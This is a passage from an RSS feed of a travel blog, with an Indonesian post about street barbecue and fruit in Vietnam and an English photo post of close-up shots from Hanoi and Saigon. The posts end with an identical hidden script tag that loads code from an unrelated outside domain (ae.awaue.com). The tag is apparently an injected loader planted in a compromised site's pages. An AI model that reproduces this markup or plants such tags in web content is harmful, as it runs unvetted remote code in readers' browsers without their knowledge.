<p>Sepulang nonton pertunjukan boneka air di Hanoi, perut-perut yang kelaparan ini mengandalkan hidung untuk mencari makan malam yang lezat. Hidung ini terpancing ke sebuah lapak berasap di perempatan jalan Hang Bong dan Duong Thanh.</p>
<p>Saya dan Hanny memilih baget, salmon, enoki, dan sate daging, lalu mengambil duduk di bangku-bangku plastik yang belum dipakai orang. Yang pertama datang adalah roti baget yang dibakar dengan madu. Enak, manis, dan bikin merinding! Lalu datang lagi salmon bakar! Enak dan bikin meleleh! Lalu sate demi sate datang. Kemudian jamur enoki bakar yang enak. Lalu baget bakarnya datang lagi. Lalu enoki! Sehingga kami berakhir dalam kondisi blenger.</p>
<div id="attachment_1021" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/01.05.Foods_.ChineseBarbecue.jpg"><img class="size-medium wp-image-1021" title="Chinese Barbecue" src="http://hermansaksono.com/wp-content/uploads/2010/02/01.05.Foods_.ChineseBarbecue-440x330.jpg" alt="Bakar-Bakar ala Cina" width="440" height="330" /></a><p class="wp-caption-text">Chinese Barbecue</p></div>
<div id="attachment_1019" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/01.04.Foods_.Vietnamese-Barbecue.jpg"><img class="size-medium wp-image-1019" title="Chinese Barbecued Salmon" src="http://hermansaksono.com/wp-content/uploads/2010/02/01.04.Foods_.Vietnamese-Barbecue-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">Salmon Bakar</p></div>
<div id="attachment_1020" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/01.05.Foods_.Barbecued_Enoki.jpg"><img class="size-medium wp-image-1020" title="Barbecued Enoki" src="http://hermansaksono.com/wp-content/uploads/2010/02/01.05.Foods_.Barbecued_Enoki-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">Enoki Bakar</p></div>
<h2>Buah-Buahan</h2>
<p>Buah-buahan tropis yang dijual di Vietnam tidak beda jauh dengan yang di Indonesia. Tapi kebanyakan ukurannya lebih wah daripada punya kita: jambu air lebih gede, srikaya lebih gede, manggis lebih gede. Dan ini bikin saya agak malu kalau mau memplokamirkan negara saya sebagai tanah gemah ripah loh jinawi. Tapi jambu airnya gak lebih manis daripada punya kita kok.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Fruits.012.jpg"><img class="aligncenter size-medium wp-image-1026" title="Lapak buah di pasar Behn Thanh" src="http://hermansaksono.com/wp-content/uploads/2010/02/Fruits.012-374x500.jpg" alt="Buah-buahan" width="374" height="500" /></a></p>
<p>Tidak semua makanan yang saya cicipi enak lho. Pho di Cat Ba misalnya, rasanya kurang nendang dan mie berasnya gampang hancur; lumpia di dekat jalan Pasteur Saigon kulitnya kering; buah longan di Behn Thanh agak terlalu matang. Tapi begitu dapat yang enak, memang enak banget.</p>
<p>Berikutnya adalah tentang <a href="http://hermansaksono.com/2010/02/vietnam-morning.html">pagi</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/vietnamese-foods.html/feed</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Vietnam Close-Ups</title>
		<link>http://hermansaksono.com/2010/02/vietnam-close-ups.html</link>
		<comments>http://hermansaksono.com/2010/02/vietnam-close-ups.html#comments</comments>
		<pubDate>Tue, 02 Feb 2010 02:34:08 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[photolog]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1014</guid>
		<description><![CDATA[Most journey begins with a distance. When the yet to be discovered continent embarks its course, Colombus saw only a mere dot in the vast water surface.

This story starts in close ups and will unhurriedly take you back farther to see the big picture.]]></description>
			<content:encoded><![CDATA[<p>Most journey begins with a distance. When the yet to be discovered continent embarks its course, Colombus saw only a mere dot in the vast water surface.</p>
<p>This story starts in close ups and will unhurriedly take you back farther to see the big picture.</p>
<div id="attachment_1006" class="wp-caption aligncenter" style="width: 385px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.01.StillLife-Vietnamese_Cherry.jpg"><img class="size-medium wp-image-1006  " title="Vietnamese Cherry" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.01.StillLife-Vietnamese_Cherry-375x500.jpg" alt="Vietnamese Cherry" width="375" height="500" /></a><p class="wp-caption-text">Vietnamese cherry that made me drowsy</p></div>
<p style="text-align: center;">
<div id="attachment_1007" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.02.StillLife-Broom-Ho_Chi_Minh_City.jpg"><img class="size-medium wp-image-1007  " title="Broom" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.02.StillLife-Broom-Ho_Chi_Minh_City-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">An artsy broom we met</p></div>
<div id="attachment_1008" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.03.StillLife-Longan_Ice_Cream-Huong_Lai.jpg"><img class="size-medium wp-image-1008  " title="Longan Ice Cream at Huong Lai Restaurant" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.03.StillLife-Longan_Ice_Cream-Huong_Lai-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">One scoop of longan ice cream for two</p></div>
<div id="attachment_1009" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.03A.StillLife-Saigon_From_23.jpg"><img class="size-medium wp-image-1009 " title="Mojito in Shimmers" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.03A.StillLife-Saigon_From_23-440x329.jpg" alt="Sheraton Saigon" width="440" height="329" /></a><p class="wp-caption-text">Saigon from the 23rd</p></div>
<div id="attachment_1010" class="wp-caption aligncenter" style="width: 450px"><img class="size-medium wp-image-1010" title="Monkey Island" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.04.StillLife-Corals-Monkey_Island_Lan_Ha_Bay-440x330.jpg" alt="Corals" width="440" height="330" /><p class="wp-caption-text">Corals at Monkey Island, Lan Ha Bay</p></div>
<div id="attachment_1011" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.05.StillLife-Street_Marker-Hanoi.jpg"><img class="size-medium wp-image-1011" title="Street Markers" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.05.StillLife-Street_Marker-Hanoi-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">Porcelain Street Markers in Hanoi</p></div>
<div id="attachment_1012" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.06.StillLife-Highlands_Cofee-Hanoi.jpg"><img class="size-medium wp-image-1012 " title="Hoàn Kiếm Lake" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.06.StillLife-Highlands_Cofee-Hanoi-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">Highlands Coffee is Vietnam&#39;s Starbucks</p></div>
<div id="attachment_1013" class="wp-caption aligncenter" style="width: 450px"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/00.07.StillLifeStreetSnacks.jpg"><img class="size-medium wp-image-1013" title="Street Snacks" src="http://hermansaksono.com/wp-content/uploads/2010/02/00.07.StillLifeStreetSnacks-440x330.jpg" alt="" width="440" height="330" /></a><p class="wp-caption-text">Hanoi Street Sweets</p></div>
<p>Next is <a href="http://hermansaksono.com/2010/02/vietnamese-foods.html">Vietnamese Foods</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/vietnam-close-ups.html/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>
